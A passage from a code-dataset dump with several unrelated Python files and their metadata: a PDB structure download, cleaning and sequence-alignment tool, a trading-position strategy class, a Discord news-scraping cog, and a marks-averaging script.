get_pdb_info(self,pdb_id_list=None):\n '''\n Use to get pdb structural info such as experimental tech, deposit date, resolution, chain length etc.\n\n param:\n pdb_id_list : a list of pdb ids. If None, self.pdb_ids is used. \n #result_file: a file contains pdb details of entries in pdb_id_list \n\n\n '''\n if not pdb_id_list:\n pdb_id_list = self.pdb_ids\n pdb_id_query = ','.join(pdb_id_list)\n queryText = \"http://www.rcsb.org/pdb/rest/customReport.csv?pdbids=\" + pdb_id_query + \\\n \"&customReportColumns=experimentalTechnique,depositionDate,resolution,chainLength,\" + \\\n \"uniprotRecommendedName,geneName,source,phValue,rFree,averageBFactor,ligandId,ligandSmiles,Ki,Kd,IC50\" \\\n + \"&service=wsdisplay&format=csv&ssa=nul\"\n\n\n print(\"querying PDB information... \\n\")\n\n\n f = urllib.request.urlopen(queryText)\n result = f.read()\n result = result.decode('UTF-8')\n xml_file = result.split('
    ')\n xml_header = xml_file[0].split(',')\n index = len(xml_file)-1\n df = pd.DataFrame(index=range(1,index), columns=xml_header)\n a = 1\n for l in xml_file[1:-1]:\n b = 0\n for j in xml_header:\n df[j][a] = l.split(',')[b].strip('\"')\n b += 1\n a += 1\n\n #for i in df.index:\n # if df['ligandId'][i] in self.unwanted_hetams:\n # df['ligandId'][i] = np.nan\n # df['ligandSmiles'][i] = np.nan\n #df.drop([i], inplace=True)\n #df.drop_duplicates(subset=['structureId','chainId','ligandId'],inplace=True)\n #df.reset_index(inplace=True,drop=True)\n #df.to_csv(result_file,index_label='index')\n self.pdb_info = df\n\n\n\n def download_pdb(self,pdb_id,output_pdb):\n '''\n Use to download single pdb\n :param pdb_id: structure pdb id\n #output_pdb: output pdb file (dir/pdb_id.pdb)\n :return: None\n '''\n output_dir = '/'.join(output_pdb.split('/')[0:-1])\n os.makedirs(output_dir,exist_ok=True)\n try:\n urllib.request.urlretrieve('https://files.rcsb.org/download/%s.pdb'%pdb_id, output_pdb)\n except:\n print('Unable to download ' + pdb_id) \n\n\n def clean_pdb(self,pdb,output_pdb):\n '''\n clean pdb structure: fix insertion and alternative locations of atoms \n :param pdb: raw pdb file \n output_pdb: clean pdb file \n '''\n clean_pdb_dir = '/'.join(output_pdb.split('/')[0:-1])\n os.makedirs(clean_pdb_dir,exist_ok=True)\n \n# all_lines = [l for l in open(pdb,'r').readlines() if l.startswith('ATOM') or l.startswith('HETATM') or\\\n# l.startswith('TER') or l.startswith('MODEL') or l.startswith('ENDMDL')]\n all_lines = open(pdb,'r').readlines()\n atom_lines = [l for l in all_lines if l.startswith('ATOM') or l.startswith('HEATAM') or l.startswith('TER')]\n resi_label = atom_lines[0][22:27]\n resi_count = int(atom_lines[0][22:26])\n new_lines = []\n insertion = False\n for l in all_lines:\n if l.startswith('ATOM') or l.startswith('HETATM') or l.startswith('TER'):\n\n entry_type = l[0:6]\n altLoc = l[16]\n resi_label_new = l[22:27]\n icode = l[26]\n occupancy = l[54:60]\n\n # count number of residue by different residue label\n if resi_label_new != resi_label:\n resi_count +=1\n resi_label = resi_label_new\n altLoc_type = [] \n # label numbering shift if insertion happened\n if icode != ' ':\n insertion = True\n\n # fix residue number by residue count\n if insertion:\n l = l[0:22] + str(resi_count).rjust(4) + ' ' + l[27:]\n\n # for atom and hetatom with alternative position, keep those with occupancy >= 0.5\n\n if altLoc != ' ':\n if not altLoc in altLoc_type:\n altLoc_type.append(altLoc)\n\n #if (entry_type == 'ATOM ') and (altLoc == 'A'):\n # l = l[0:16] + ' ' + l[17:]\n # new_lines.append(l)\n if float(occupancy) >0.5:\n l = l[0:16] + ' ' + l[17:]\n new_lines.append(l)\n elif (float(occupancy) == 0.5) and (altLoc == altLoc_type[0]):\n l = l[0:16] + ' ' + l[17:]\n new_lines.append(l)\n\n elif entry_type == 'TER ':\n new_lines.append(l)\n else:\n new_lines.append(l)\n else:\n new_lines.append(l)\n output = open(output_pdb,'w')\n output.writelines(new_lines)\n\n\nclass complex_info(object):\n def __init__(self,pdb_info_csv,pdb_dir,unwanted_hetatms='default'):\n '''\n For each receptor chain get its ligand (can either be peptide or small molecules)\n process cleaned pdb structures: get receptor and ligand info, separate receptor and ligand structures and etc. \n param:\n pdb_info_csv: csv file generated from get_pdbs class \n pdb_dir: folder containing all pdbs listed in pdb_info_csv\n '''\n if type(pdb_info_csv) == str:\n if os.path.exists(pdb_info_csv) and pdb_info_csv.endswith('.csv'):\n self.df = pd.read_csv(pdb_info_csv,index_col='index')\n else:\n raise ValueError('unknown file type of pdb_info_csv. pdb_info_csv can be a csv file or a pandas DataFrame')\n elif type(pdb_info_csv) == pd.core.frame.DataFrame:\n self.df = pdb_info_csv\n else:\n raise ValueError('unknown file type of pdb_info_csv. pdb_info_csv can be a csv file or a pandas DataFrame')\n #self.pdb_info_csv = pdb_info_csv\n self.pdb_dir = pdb_dir\n if unwanted_hetatms == 'default':\n additive = ['1PE', 'ACT', 'AML', 'BCN', 'BEZ', 'BME', 'CIT', 'CO3', 'DMF','DMS', 'DTT', 'EDO', 'FMT', 'GOL',\n 'IMD', 'IPA', 'MES', 'MLA', 'MRD', 'PEG', 'PGE', 'PO4', 'SAR', 'SGM', 'SO4', 'SPK', 'TAR', 'TLA', 'TMO',\n 'TRS']\n\n ions = ['IOD', 'NA', 'BR', 'CL', 'K', 'SIN', 'ZN','MG']\n water = ['HOH']\n other = ['P15','PEU','EOH','O4B','MPO','GAI','PG4','MPD']\n self.unwanted_hetatms = additive + ions + water + other \n\n\n def get_receptor_ligand_info(self,template, template_type, template_pdb_dir=None, template_expt_type=None):\n ''' 1. For chains in a complex, distinguish receptor chains and peptide chains by a. sequence length and %alignment with template receptor chain \n 2. Check starting and ending residue id, sequence, gaps in receptor chain comparing to a template receptor chain \n 3. Get each receptor chains ligand info \n\n\n :param template_pdb_dir: folder containing template pdb \n :param template: pdb file use to define residue numbering and protein sequence, format pdbid_chainid or fasta AA sequence\n :param template_type: pdb or fasta\n :param template_pdb_dir: folder containing template pdb file (only needed for template_type == pdb)\n :param template_expt_type: SOLUTION NMR or X-RAY (only required for template_type == pdb) \n\n Note:\n 1. each receptor chain is aligned with template seq to get starting and ending residue number\n 2. peptide ligand chain screened as seq has poor match with the template sequence \n '''\n\n # get template sequence info \n if template_type == 'pdb':\n template_pdb = template.split('_')[0]\n template_chain = template.split('_')[1]\n if template_expt_type:\n temp_resStart, temp_resEnd, temp_seq = self._get_chain_res_info(template_pdb,template_chain,template_expt_type,\n pdb_folder=template_pdb_dir)\n else:\n raise ValueError('template_expt_type should be SOLUTION NMR or X-RAY')\n elif template_type == 'fasta':\n temp_resStart = 0\n temp_resEnd = len(template)-1\n temp_seq = template\n else:\n print('wrong template type')\n \n \n # pdb chains list \n# pdb_chains = self.df[['structureId','chainId','experimentalTechnique']].copy()\n# pdb_chains.drop_duplicates(inplace=True)\n # result header \n #A complex is a receptor chain with its ligand \n complex_info = np.append(self.df.columns,['resStart','resEnd','sequence_by_pdb_aligned','mutation','ligand_type', \\\n 'ligand_residue_id']).reshape(1,-1)\n\n # Peptide ligand info\n peptide_info = np.append(self.df.columns,['resStart','resEnd','sequence']).reshape(1,-1)\n\n# for i in pdb_chains.index:\n for i in self.df.index:\n #pdb = pdb_chains['structureId'][i]\n #chain = pdb_chains['chainId'][i]\n #expt_type = pdb_chains['experimentalTechnique'][i]\n\n pdb = self.df['structureId'].loc[i]\n chain = self.df['chainId'].loc[i]\n expt_type = self.df['experimentalTechnique'].loc[i]\n lig_name = self.df['ligandId'].loc[i]\n\n if not lig_name in self.unwanted_hetatms:\n #print(lig_name)\n if not (lig_name == '' or pd.isna(lig_name)):\n # distinguish regular ligand and modified residues \n lig_type, lig_resi_id = self._check_ligand(pdb,chain,lig_name,pdb_folder=self.pdb_dir)\n else:\n lig_type = 'apo'\n lig_resi_id = np.nan\n # get chain sequence info, modified residues are considered as part of the protein sequences \n resStart_pdb, resEnd_pdb, seq = self._get_chain_res_info(pdb,chain,expt_type,pdb_folder=self.pdb_dir)\n # get alignment result \n head_diff, end_diff, mutation, aligned_seq = self._align_seq(seq,temp_seq)\n if head_diff == None : ## head_diff == None indicates poor alignment --> not receptor chain\n peptide_info_entry = np.append(self.df.loc[i].tolist(), [resStart_pdb,resEnd_pdb,seq]).reshape(1,-1)\n peptide_info = np.append(peptide_info,peptide_info_entry,axis=0)\n \n else: \n # fix resStart and resEnd index using template seq residue indexing as reference \n resStart = int(temp_resStart) - head_diff \n resEnd = int(temp_resEnd) + end_diff \n # fix mutation site index using template seq residue indexing \n mut_new_list = [] \n for mut in mutation:\n mut_loc = int(mut[1:-1])\n if head_diff >= 0: \n mut_loc = mut_loc - head_diff \n else:\n mut_loc = mut_loc \n mut_new = mut[0] + str(mut_loc) + mut[-1]\n mut_new_list.append(mut_new)\n mutation_new = ';'.join(mut_new_list)\n\n \n # here only small molecule ligand is considered, peptide binder will be filled in later\n if lig_type in ['noncovalent','covalent','apo']:\n complex_info_entry = np.append(self.df.loc[i].tolist(),[resStart,resEnd,aligned_seq,mutation_new,lig_type,lig_resi_id]).reshape(1,-1)\n else: # in the case of modres\n new_df_info = self.df.loc[i].copy()\n new_df_info['ligandId'] = np.nan\n new_df_info['ligandSmiles'] = np.nan\n new_df_info['Ki'] = np.nan\n new_df_info['Kd'] = np.nan\n new_df_info['IC50'] = np.nan\n\n complex_info_entry = np.append(new_df_info.tolist(), [resStart,resEnd,aligned_seq,mutation_new,np.nan,np.nan]).reshape(1,-1)\n complex_info = np.append(complex_info,complex_info_entry,axis=0)\n else:\n pass\n \n complex_info_df = pd.DataFrame(data=complex_info[1:,:],columns=complex_info[0,:])\n complex_info_df.drop_duplicates(subset=['structureId','chainId','ligandId'],inplace=True)\n peptide_info_df = pd.DataFrame(data=peptide_info[1:,:],columns=peptide_info[0,:])\n peptide_pdbs = set(peptide_info_df['structureId'].tolist())\n\n \n peptide_ligand = complex_info_df.copy()\n peptide_ligand.drop_duplicates(subset=['structureId','chainId'],inplace=True)\n # fill in peptide inhibitor info\n peptide_drop_list = [] \n for i in peptide_ligand.index:\n pdb = peptide_ligand['structureId'].loc[i]\n chain = peptide_ligand['chainId'].loc[i]\n if pdb in peptide_pdbs:\n \n all_recep_chains = [c for c in peptide_ligand.loc[peptide_ligand['structureId'] == pdb]['chainId'].tolist()]\n peptide_chain = self._check_closest_peptide(pdb,chain, all_recep_chains, pdb_folder=self.pdb_dir)\n #print(peptide_chain)\n if peptide_chain:\n peptide_ligand['ligand_type'].loc[i] = 'peptide'\n peptide_ligand['ligandId'].loc[i] = peptide_chain \n peptide_ligand['ligand_residue_id'].loc[i] = peptide_chain\n peptide_ligand['Ki'].loc[i] = np.nan\n peptide_ligand['Kd'].loc[i] = np.nan\n peptide_ligand['IC50'].loc[i] = np.nan\n else: # if no nearby peptide chains detected, drop that row \n peptide_drop_list.append(i)\n else:\n peptide_drop_list.append(i)\n peptide_ligand.drop(peptide_drop_list,inplace=True)\n \n # label ligand binding site. If a chain has multiple ligands bound, each ligand is occupying a separate binding site.\n complex_all = pd.concat([complex_info_df,peptide_ligand],axis=0)\n complex_all.reset_index(inplace=True,drop=True)\n \n\n binding_site = [-1] * complex_all.shape[0] \n drop_list = [] \n for i in complex_all.index:\n pdb = complex_all['structureId'].loc[i]\n chain = complex_all['chainId'].loc[i]\n if binding_site[i] != -1:\n continue\n # print(pdb,chain)\n temp = complex_all.loc[(complex_all['structureId'] == pdb) & (complex_all['chainId'] == chain)]\n if temp.shape[0] > 1:\n site_count = 0\n for ind in temp.index:\n if not pd.isna(temp['ligandId'].loc[ind]):\n binding_site[ind] = site_count \n site_count += 1\n else:\n if not ind in drop_list:\n drop_list.append(ind)\n\n\n else:\n if pd.isna(complex_all['ligand_type'].loc[i]): # in the case of modres, ligand_type is originially set to np.nan. If after peptide ligand info updated, this chain still does not have a ligand, it should be an apo chain. \n complex_all['ligand_type'].loc[i] = 'apo' \n binding_site[i] = 0 \n \n complex_all.insert(complex_all.shape[1],'binding_site',binding_site) \n complex_all.drop(drop_list,inplace=True)\n self.complex_info = complex_all\n #self.peptide_info = peptide_info_df\n # Note: 2RUH has protein and peptide inhibitors linked together (CatS pdbs)\n\n @staticmethod\n def _check_ligand(pdb,chain,ligand_name,pdb_folder):\n '''\n For a ligand, find its residue id and check if it's a noncovalent ligand. \n \n :param pdb: pdb id\n :param chain: chain id\n :param ligand_name: the residue name of the ligand \n :param pdb_folder: folder for pdb files\n :return: ligand name list, number of ligands (one ligand name can have two ligands at diff sites)\n\n Note: additive, ions, water, and other cocrystal solvent is not considered as ligands\n '''\n pdb_lines = open(pdb_folder + '/' + pdb + '.pdb','r').readlines()\n link_lines = [l for l in pdb_lines if l.startswith('LINK')] \n link_resi = [q for t in [[l.split()[2],l.split()[6]] for l in link_lines] for q in t]\n modres_lines = [l for l in pdb_lines if l.startswith('MODRES')]\n modres = [l.split()[2] for l in modres_lines] \n\n #print(type(ligand_name))\n #print(ligand_name)\n if (ligand_name in link_resi) and (not ligand_name in modres):\n ligand_type = 'covalent'\n elif ligand_name in modres:\n ligand_type = 'modified residue'\n else:\n ligand_type = 'noncovalent'\n #print(ligand_name)\n for l in pdb_lines:\n if l[21] == chain and l[17:20].strip() == ligand_name and (l.startswith('ATOM') or l.startswith('HETATM')):\n ligand_resi_id = l[22:26].strip()\n break \n else:\n continue \n return ligand_type, ligand_resi_id\n\n# def _check_chain_hetatm(pdb,chain,pdb_folder):\n#\n# chain_lines = [l for l in pdb_lines if (l[21] == chain) and (l[17:20].strip() not in unwanted_hetatms)]\n#\n#\n# modified_resi = [] \n# modified_resi_id = [] \n# lig_resi =[]\n# lig_resi_id = [] \n#\n# hetatm_resi = [] \n# hetatm_resi_id = []\n# other_atm = False\n# for l in chain_lines: \n# if l.startswith('TER'):\n# \n# hetatm_resi_count = len(hetatm_resi)\n# if (hetatm_resi_count > 1) or (hetatm_resi_count == 1 and other_atm == True):\n# modified_resi.extend(hetatm_resi)\n# modified_resi_id.extend(hetatm_resi_id)\n# elif hetatm_resi_count == 1 and other_atm == False: \n# lig_resi.extend(hetatm_resi)\n# lig_resi_id.extend(hetatm_resi_id)\n# else:\n# pass \n# hetatm_resi = [] \n# hetatm_resi_id = []\n# other_atm = False \n#\n# elif l.startswith('HETATM'):\n# resi_name = l[17:20].strip()\n# resi_id = l[22:26].strip()\n# if not resi_id in hetatm_resi_id:\n# hetatm_resi_id.append(resi_id)\n# hetatm_resi.append(resi_name)\n# \n# elif l.startswith('ATOM'):\n# other_atm = True \n#\n# hetatm_resi_count = len(hetatm_resi)\n# if (hetatm_resi_count > 1) or (hetatm_resi_count == 1 and other_atm == True):\n# modified_resi.extend(hetatm_resi)\n# modified_resi_id.extend(hetatm_resi_id)\n# elif hetatm_resi_count == 1 and other_atm == False: \n# lig_resi.extend(hetatm_resi)\n# lig_resi_id.extend(hetatm_resi_id)\n# else:\n# pass \n#\n#\n# if modified_resi != []:\n# print(pdb + ' chain ' + chain + ' has nonstandard residues')\n## print('modified residues :')\n# print(modified_resi, modified_resi_id)\n#\n# \n# return lig_resi, lig_resi_id, modified_resi, modified_resi_id\n \n @staticmethod\n def _check_closest_peptide(pdb,chain,all_recep_chains, pdb_folder):\n '''\n for pdbs with peptide as ligand, get peptide chain id as ligand name\n :param pdb: pdb id\n :param chain: chain id\n :param receptor_csv: pandas dataframe containing receptor chain info\n :param pdb_folder: folder containing all pdb files\n :return: peptide ligand chain id\n '''\n\n\n def _calc_residue_dist(residue_one, residue_two):\n '''\n\n :param residue_one:\n :param residue_two:\n :return: return c-alpha distance between two residues\n '''\n diff_vector = residue_one['CA'].coord - residue_two['CA'].coord\n return np.sqrt(np.sum(diff_vector * diff_vector))\n\n def _calc_dist_matrix(chain_one, chain_two):\n '''\n\n :param chain_one:\n :param chain_two:\n :return: a matrix of C-alpha distance between two chains\n\n '''\n\n chain_one_resi = [i for i in chain_one for atom in i if atom.get_full_id()[4][0] == 'CA'] #get rid of wat and\n # capping which has no CA\n chain_two_resi = [i for i in chain_two for atom in i if atom.get_full_id()[4][0] == 'CA']\n\n answer = np.zeros((len(chain_one_resi),len(chain_two_resi)), np.float)\n for row, residue_one in enumerate(chain_one_resi):\n for col, residue_two in enumerate(chain_two_resi):\n answer[row,col] = _calc_residue_dist(residue_one, residue_two)\n return answer\n\n structure = Bio.PDB.PDBParser().get_structure(pdb,pdb_folder + '/' + pdb + '.pdb')\n model = structure[0] #in each model, it list all chains, unique chain id is considered as a seperate chain.\n # NMR structures has same chain id in different model, crystal structure has different chain id for diff monomer\n ref_chain = chain\n peptide_chain = None\n #print('all models ')\n if len(model) > 2: # non monomer and NMR including several models\n num_contact = 0\n for chain_name in model:\n #print(chain_name)\n chain_id = chain_name.get_full_id()[2]\n if chain_id != ref_chain and (chain_id not in all_recep_chains):\n dist_matrix = _calc_dist_matrix(model[chain_id], model[ref_chain])\n contact_array = np.where(dist_matrix < 8)\n num_contact_new = len(contact_array[0])\n\n if num_contact_new > num_contact:\n num_contact = num_contact_new\n peptide_chain = chain_id\n\n\n\n\n else: # monomer\n for chain_name in model:\n chain_id = chain_name.get_full_id()[2]\n if not chain_id == ref_chain:\n peptide_chain = chain_id\n return peptide_chain\n\n @staticmethod\n def _get_chain_res_info(pdb,chain,exp_type,pdb_folder):\n '''\n Get starting and ending residue id from pdb file and get sequence\n :param pdb: pdb id\n :param chain: chain id\n :return: starting residue id and ending residue id and AA sequence\n\n '''\n letters = {'ALA': 'A', 'ARG': 'R', 'ASN': 'N', 'ASP': 'D', 'CYS': 'C', 'GLU': 'E', 'GLN': 'Q', 'GLY': 'G',\n 'HIS': 'H', 'ILE':'I', 'LEU': 'L', 'LYS': 'K', 'MET': 'M', 'PHE': 'F', 'PRO': 'P', 'SER': 'S',\n 'THR': 'T', 'TRP': 'W', 'TYR': 'Y', 'VAL': 'V'}\n f = open(pdb_folder +'/' + pdb +'.pdb','r').readlines()\n link_lines = [l for l in f if l.startswith('LINK')] \n link_resi_in_chain = [] \n for l in link_lines:\n l_info = l.split()\n if l_info[3] == chain:\n link_resi_in_chain.append(l_info[2])\n if l_info[7] == chain:\n link_resi_in_chain.append(l_info[6])\n\n wanted_hetatms = [t for t in set(link_resi_in_chain) if not t in letters.keys()] \n\n if exp_type == 'SOLUTION NMR':\n for l in f:\n if l.startswith('MODEL'):\n chain_lines = []\n elif (l.startswith('ATOM') and l[21] == chain) or (l.startswith('HETATM') and l[21] == chain \\\n and (l[17:20].strip() in wanted_hetatms)):\n try:\n chain_lines.append(l)\n except ValueError:\n print('chain_lines not defined')\n\n elif l.startswith('ENDMDL'):\n break # only need to check the first model sequence in nmr structures \n\n else:\n chain_lines = [l for l in f if (l.startswith('ATOM') and l[21] == chain) or (l.startswith('HETATM') and l[21] == chain \\\n and (l[17:20].strip() in wanted_hetatms))]\n #chain_lines = [l for l in f if l.startswith('ATOM') or l and l[21] == chain]\n #print(pdb, chain)\n #print(chain_lines[0])\n resStart = chain_lines[0][22:26]\n resEnd = chain_lines[-1][22:26]\n\n res_id = None\n seq = ''\n for l in chain_lines:\n res_id_new = l[22:26]\n if not res_id_new == res_id:\n try:\n res_name = letters[l[17:20]] # if residue is normal amino acid \n except:\n res_name = 'x' # if residue is a modified aa \n seq = seq + res_name\n res_id = res_id_new\n\n else:\n next\n\n return resStart, resEnd, seq\n\n @staticmethod\n def _align_seq(seq,temp_seq):\n '''\n\n :param seq: sequence to be aligned\n :param temp_seq: template sequence\n :return:\n head_diff: n terminal sequence extra or missing number of residues comparing to template (int)\n end_diff: c terminal extra or missing number of resiudes (int)\n mutations: point of mutations format: Y12K\n '''\n\n def check_gap_and_mut(alignment_correct):\n aligned_seq = format_alignment(*alignment_correct).split('\\n')[0:3]\n\n gap_position = []\n gap_partner = []\n mutation = []\n for ind, x in enumerate(aligned_seq[1]):\n if x == ' ':\n gap_position.append(ind)\n if aligned_seq[0][ind] == '-':\n gap_partner.append(0) # seq = 0 \n else:\n gap_partner.append(1) # temp_seq = 1 \n elif x == '.':\n mut = aligned_seq[2][ind] + str(ind) + aligned_seq[0][ind]\n mutation.append(mut)\n\n\n #get sequence and template sequence gap position\n # seq = 0 and temp_seq = 1 in gap_partner array \n seq_gap_position = np.array(gap_position)[np.array(gap_partner)==0].tolist()\n temp_seq_gap_position = np.array(gap_position)[np.array(gap_partner) == 1].tolist()\n \n # get sequence gap group by grouping continuous gap positions\n if len(seq_gap_position) > 1:\n seq_group_result = []\n for key, group in groupby(enumerate(seq_gap_position),lambda x: x[0]-x[1]):\n group_result = tuple(map(itemgetter(1),group))\n seq_group_result.append(group_result)\n\n elif len(seq_gap_position) == 1:\n seq_group_result = [(seq_gap_position[0],)]\n else:\n seq_group_result = []\n\n # get template sequence gap groups by grouping continuous gap positons\n if len(temp_seq_gap_position) > 1:\n\n temp_seq_group_result = []\n for key, group in groupby(enumerate(temp_seq_gap_position),lambda x:x[0] - x[1]):\n\n group_result = tuple(map(itemgetter(1),group))\n temp_seq_group_result.append(group_result)\n\n elif len(temp_seq_gap_position) == 1:\n temp_seq_group_result = [(temp_seq_gap_position[0],)]\n else:\n temp_seq_group_result = []\n\n\n head_diff = 0\n end_diff = 0\n\n #real gaps are those not at the termini\n seq_real_gaps = []\n temp_seq_real_gaps = []\n for gap in seq_group_result:\n\n if 0 in gap:\n head_diff = -len(gap)\n elif len(aligned_seq[1])-1 in gap:\n end_diff = -len(gap)\n else:\n seq_real_gaps.append(gap)\n\n for gap in temp_seq_group_result:\n if 0 in gap:\n head_diff = len(gap)\n elif len(aligned_seq[1])-1 in gap:\n end_diff = len(gap)\n else:\n temp_seq_real_gaps.append(gap)\n\n return head_diff,end_diff, mutation, aligned_seq[0], seq_real_gaps, temp_seq_real_gaps\n\n\n\n\n alignments = pairwise2.align.globalms(seq,temp_seq, 2, -1, -2, -0.1) # score of identical characters is 2, penalize mismatch by score -1, penalize gap with score of -0.5 and penalize extending a gap by -0.1\n if alignments[0][2]< 0.5 * 2 * len(temp_seq): #sequence alignment score is < 60% of the identical matched template sequence. \n #print('poor_align')\n return None, None, None, None\n else:\n if len(alignments) > 1:\n #print('multiple alignments')\n template_gaps = float('inf')\n # if multiple alignment results, the one with least gaps is considered as final alignment results\n for i in alignments:\n head_diff,end_diff, mutation, aligned_seq,seq_real_gaps,temp_seq_real_gaps = check_gap_and_mut(i)\n if len(temp_seq_real_gaps) < template_gaps:\n alignment_correct = i\n template_gaps = len(temp_seq_real_gaps)\n\n else:\n alignment_correct = alignments[0]\n\n head_diff,end_diff, mutation, aligned_seq,seq_real_gaps,temp_seq_real_gaps = check_gap_and_mut(alignment_correct)\n\n mutation_new = []\n if len(temp_seq_real_gaps) > 0:\n\n\n gap_list = [pos for gap in temp_seq_real_gaps for pos in gap ]\n for j in mutation:\n shift_list = [pos for pos in gap_list if pos < int(j[1:-1])]\n shift = len(shift_list)\n mut_new = j[0] + str(int(j[1:-1]) - shift) + j[-1]\n mutation_new.append(mut_new)\n\n #print('warning: missing residues in template sequence!!!!!')\n else:\n mutation_new = mutation\n #if len(seq_real_gaps) > 0:\n #print('warning: missing residues in sequence')\n\n return head_diff, end_diff, mutation_new, aligned_seq\n\n","sub_path":"vs_pfm/data/pdb_info.py","file_name":"pdb_info.py","file_ext":"py","file_size_in_byte":33357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"510081377","text":"from BaseStrategy import BaseStrategy\nimport numpy as np\nimport datetime\n\nclass SimpleStrategy(BaseStrategy):\n def __init__(self, signal,price):\n \"\"\"\n Constructor of the class\n :param signal:\n \"\"\"\n self.signal= np.array(signal)\n self.length = signal.size\n self.__time__ = signal.index\n self.price = price\n\n def generate_position(self):\n \"\"\"\n Generate signal according strategy:\n :return: position\n \"\"\"\n curr_pos = 0\n position = np.zeros(self.length)\n \n for i in range(self.length):\n if self.signal[i]==np.sign(curr_pos)*(-1):\n position[i]=self.signal[i]-curr_pos\n curr_pos = self.signal[i]\n else:\n position[i]=self.signal[i]\n curr_pos+=self.signal[i]\n return position\n\n #def get_time_stamp(self):\n #return self.__time__\n\n #def get_prices(self):\n #return self.__bars__\n\n\n\n","sub_path":"Strategy/SimpleStrategy.py","file_name":"SimpleStrategy.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"377062613","text":"import aiohttp\nimport io\nimport re\n\nimport discord\nfrom discord.ext import commands\nimport html2text\nimport lxml.html\nfrom PIL import Image\n\nimport chickensmoothie as cs\n\n\nclass News(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.group(aliases=['announce', 'announcement'])\n @commands.guild_only()\n async def news(self, ctx):\n pass\n\n @news.command()\n @commands.guild_only()\n async def on(self, ctx):\n pass\n\n @news.command()\n @commands.guild_only()\n async def off(self, ctx):\n pass\n\n @news.command()\n @commands.guild_only()\n async def latest(self, ctx):\n news_articles = await cs.get_announcements() # Get the HTML list of all the news articles\n latest = news_articles[0] # Get the latest (first) news\n post_date = latest.getparent().getprevious().text # Get the news post date\n\n image_link = None\n image_list = None\n multiple_images = False\n canvas = None\n if latest.find('a/img[@alt=\"Image\"]') is not None: # If news has click-able images\n if len(latest.findall('a/img[@alt=\"Image\"]')) == 1: # If there is only 1 image\n image_tag = latest.find('a/img[@alt=\"Image\"]') # Get the 'img' tag\n image_link = image_tag.xpath('@src')[0] # Extract image link for use in embed later\n parent = image_tag.getparent() # Get parent tag of 'img', which is 'a' tag\n latest.remove(parent) # Remove the 'a' tag so it won't be converted to Markdown\n else: # If there is more than 1 image\n image_list = latest.findall('a/img[@alt=\"Image\"]') # Get the links to all the images\n multiple_images = True\n elif latest.find('img[@alt=\"Image\"]') is not None: # If the news has static images instead\n if len(latest.findall('img[@alt=\"Image\"]')) == 1: # If there is only 1 image\n image_tag = latest.find('img[@alt=\"Image\"]') # Get the 'img' tag\n image_link = image_tag.xpath('@src')[0] # Extract image link for use in embed later\n latest.remove(image_tag) # Remove the 'img' tag so it won't be parsed later\n else: # If there is more than 1 image\n image_tags = latest.findall('img[@alt=\"Image\"]') # Get all image tags\n image_links = [element.xpath('@src')[0] for element in image_tags] # Get the links to the image\n image_links = [url.replace('//', 'https://') for url in image_links] # Replace relative links with absolute links\n\n image_list = []\n async with aiohttp.ClientSession() as session:\n for link in image_links:\n async with session.get(link) as response:\n connection = await response.read()\n image_list.append(io.BytesIO(connection)) # Convert the images into bytes\n multiple_images = True\n\n if multiple_images: # If there are multiple images\n pil_images = list(map(Image.open, image_list)) # Open all byte images as PIL images\n\n current_width = 0\n current_heights = []\n for image in pil_images:\n current_width += image.width\n current_heights.append(image.height)\n max_height = max(current_heights) # Get the height of the tallest image\n\n x_offset = 10 # The spacing between images\n canvas_width = current_width + (x_offset * len(pil_images))\n canvas_height = max_height\n\n canvas = Image.new('RGBA', (canvas_width, canvas_height)) # Create an empty RGBA image\n current_x = 0\n for image in pil_images:\n canvas.paste(image, (current_x, (max_height - image.height)), image)\n current_x += image.width + x_offset\n\n text = lxml.html.tostring(latest) # Get the source HTML of the news article\n text_decoded = text.decode('utf-8') # Decode into UTF-8\n\n bold_span_tags = re.findall(r'(([\\w\\W]+?))', text_decoded) # Find all tags used to bold text\n if bold_span_tags: # If there are bolded text\n for tag in bold_span_tags:\n text_decoded = text_decoded.replace(tag[0], f'%@^{tag[1]}%@^') # Change the tag to a temporary name\n\n emoji_list = re.findall(r'\\s*', text_decoded) # Check if there are emojis in the news article\n if emoji_list: # If there are emojis\n for emoji in emoji_list:\n text_decoded = text_decoded.replace(emoji, '') # Remove the emoji\n\n text_decoded = text_decoded.replace('//', 'https://') # Replace all relative links to prefix with HTTPS\n links = set(re.findall(r'href=\"(.*?)\"', text_decoded)) # Get all href links\n for link in links:\n text_decoded = text_decoded.replace(link, f'https://www.chickensmoothie.com{link}') # Prepend Chicken Smoothie base URL\n\n content = html2text.html2text(text_decoded) # Convert remaining HTML into Markdown\n\n content = content.replace(' \\n', '$#@') # Fix up broken newlines\n content = content.replace('\\n', ' ')\n content = content.replace('$#@', '\\n')\n content = content.replace('%@^', '**') # Replace temporary span tags to **\n content = content.replace('\\n\\n\\n', '\\n') # Remove duplicate newlines\n\n links = re.findall(r'\\(http[s]*[\\w\\W]+?\\)', content) # Get all links in the Markdown\n for link in links:\n fixed_link = link.replace(' ', '') # Remove any spacing in them\n content = content.replace(link, fixed_link)\n\n # 11) Send embed\n embed = discord.Embed(title=post_date, description=content, colour=0x4ba139) # Create embed\n if multiple_images: # If there are multiple images\n output_buffer = io.BytesIO() # Convert the PIL output into bytes\n canvas.save(output_buffer, 'png') # Save the bytes as a PNG format\n output_buffer.seek(0) # Move the 'cursor' back to the start\n await ctx.send(embed=embed, file=discord.File(fp=output_buffer, filename='news.png')) # Upload the file to the channel where message came from\n elif image_link is not None: # If image exists in news\n embed.set_image(url=f'https:{image_link}') # Set embed image\n await ctx.send(embed=embed) # Send message\n else:\n await ctx.send(embed=embed) # Send message\n\n\ndef setup(bot):\n bot.add_cog(News(bot))\n","sub_path":"cogs/news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":6640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"3833397","text":"'''\n Write a program to calculate average marks of five inputted marks.\n\n'''\nmarks_data = []\nsub_count = 5;\ndef getData():\n for i in range(sub_count):\n inp = float(input(\"Enter the marks: \"))\n if 0<=inp<=100:\n marks_data.append(inp)\n else:\n print(\"Invalid marks entered\")\n\ndef calData():\n l_marks_data = len(marks_data)\n calc = 0;\n if l_marks_data == 5:\n for i in marks_data:\n calc = calc + i\n print(f\"Average of marks entered is: {calc/l_marks_data}\")\n else:\n 